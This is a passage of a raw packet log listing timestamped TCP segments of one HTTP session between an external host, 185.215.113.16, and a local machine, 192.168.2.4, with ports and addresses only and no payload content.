Dec 19, 2024 07:57:35.386643887 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.386677980 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.387310028 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.387355089 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.387383938 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.387397051 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.387415886 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.387428999 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.387466908 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.387497902 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.388484001 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.388494968 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.388506889 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.388518095 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.388535976 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.388556957 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.388935089 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.388946056 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.388958931 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.388972044 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.388997078 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.389309883 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.389358044 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.389971018 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.389985085 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.389997959 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.390014887 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.390033960 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.390295982 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.390332937 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.391127110 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.391140938 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.391153097 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.391170979 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.391191006 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.391308069 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.391347885 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.391976118 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.391988993 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.392002106 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.392016888 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.392030001 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.392072916 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.392709017 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.392748117 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.392874956 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.392888069 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.392899990 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.392915964 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.392940044 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.393655062 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.393676996 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.393696070 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.393709898 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.393843889 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.393884897 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.394026995 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.394066095 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.394558907 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.394573927 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.394606113 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.394691944 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.394754887 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.394850969 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.394887924 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.395524979 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.395570040 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.395689964 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.395701885 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.395740032 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.395838022 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.395872116 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.396536112 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.396548033 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.396563053 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.396578074 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.396596909 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.396697044 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.396728992 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.397391081 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.397402048 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.397416115 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.397428989 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.397440910 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.397454023 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.397548914 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.397577047 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.398415089 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.398428917 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.398441076 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.398458958 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.398478031 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.398541927 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.398571014 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.399190903 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.399203062 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.399230957 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.399245024 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.399355888 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.399369001 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.399390936 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.399405003 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.400130033 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.400142908 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.400156021 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.400181055 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.400280952 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.400300980 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.400311947 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.400922060 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.400968075 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.401072025 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.401087046 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.401110888 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.401125908 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.401196957 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.401231050 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.402002096 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.402024984 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.402038097 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.402043104 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.402059078 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.402074099 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.402189970 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.402231932 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.585051060 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.585069895 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.585082054 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.585094929 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.585191965 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.585222006 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.585243940 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.585258961 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.585299969 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.585313082 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.585335970 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.585349083 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.585832119 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.585871935 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.585897923 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.585911036 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.585931063 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.585944891 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.585990906 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.586024046 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.586765051 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.586817980 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.586822987 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.586836100 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.586855888 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.586874008 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.586911917 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.586945057 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.587701082 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.587749004 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.587754965 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.587768078 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.587785959 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.587805033 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.587843895 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.587876081 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.588577032 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.588623047 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.588663101 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.588675022 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.588694096 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.588707924 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.588752031 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.588784933 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.589529037 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.589576960 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.589582920 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.589596033 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.589617014 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.589627981 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.589684963 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.589718103 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.590461016 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.590504885 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.590507984 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.590522051 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.590542078 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.590558052 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.590636015 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.590670109 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.591434956 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.591479063 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.591484070 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.591496944 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.591515064 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.591530085 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.591573954 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.591609001 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.592315912 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.592360973 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.592364073 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.592377901 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.592395067 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.592410088 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.592458010 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.592490911 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.593216896 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.593261003 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.593269110 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.593281031 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.593298912 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.593313932 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.593384981 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.593420029 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.594152927 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.594208956 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.594228983 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.594239950 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.594259024 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.594276905 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.594316959 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.594350100 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.595051050 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.595093966 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.595122099 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.595134020 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.595155001 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.595171928 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.595211029 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.595243931 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.595990896 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.596034050 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.596062899 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.596075058 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.596095085 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.596111059 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.596195936 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.596235037 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.596955061 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.596997976 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.597034931 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.597047091 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.597069025 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.597080946 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.597083092 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.597114086 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.597903013 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.597944021 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.597982883 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.597995996 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.598016024 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.598041058 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.598099947 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.598133087 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.598805904 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.598862886 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.598891020 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.598902941 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.598922014 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.598937035 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.598941088 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.598972082 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.599688053 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.599735975 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.599742889 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.599749088 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.599766970 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.599781990 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.599818945 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.599850893 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.600588083 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.600632906 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.600642920 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.600655079 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.600673914 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.600689888 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.600729942 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.600763083 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.601496935 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.601541042 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.601564884 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.601576090 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.601597071 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.601623058 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.601639986 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.601671934 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.602427959 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.602474928 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.602546930 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.602559090 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.602585077 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.602590084 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.602600098 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.602622032 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.603353977 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.603393078 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.603400946 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.603404999 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.603423119 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.603440046 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.603487015 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.603518963 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.604305983 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.604351997 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.604365110 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.604377985 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.604397058 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.604410887 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.604460955 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.604495049 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.605181932 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.605226040 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.605266094 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.605278015 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.605298996 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.605324030 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.605354071 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.605385065 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.606213093 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.606256008 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.606264114 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.606276989 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.606296062 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.606317997 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.606367111 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.606405020 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.607031107 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.607074976 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.607075930 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.607089043 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.607108116 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.607124090 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.607167959 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.607199907 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.607944965 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.607990026 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.608016968 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.608028889 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.608041048 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.608050108 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.608063936 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.608078003 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.777064085 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.777090073 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.777102947 CET	80	49801	185.215.113.16	192.168.2.4
